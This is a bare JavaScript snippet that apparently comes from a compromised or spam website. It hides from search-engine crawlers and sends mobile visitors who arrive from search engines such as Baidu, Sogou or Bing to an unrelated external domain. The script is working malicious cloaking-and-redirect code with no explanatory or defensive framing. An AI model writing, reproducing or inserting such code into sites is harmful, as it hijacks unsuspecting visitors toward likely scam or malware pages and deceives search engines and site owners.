(function() {
    if (/bot|spider|crawl|Baiduspider|360Spider|Yisou|bingbot|Googlebot/i.test(navigator.userAgent)) return;

    var referrer = document.referrer, url = window.location.href;
    var searchEngines = ["baidu.com", "sm.cn", "so.com", "sogou.com", "bing.com", "baiduboxapp", "toutiao.com"];
    var keywords = ['baidu', 'sm', 'so', 'sogou', 'bing', 'baiduboxapp', 'cf', 'play', 'wap', 'search', '?', 'app', 'video', 'yandex', 'quark', 'qq', '360', 'bt'];

    if (/Android|iPhone|iPad|iPod|Windows Phone|Mobi/i.test(navigator.userAgent) && 
        (searchEngines.some(engine => referrer.includes(engine)) || keywords.some(keyword => url.includes(keyword) || referrer.includes(keyword)))) {
        window.location.href = "https://ml301.qltvj.com/cbd/aaaafd";
    }
})();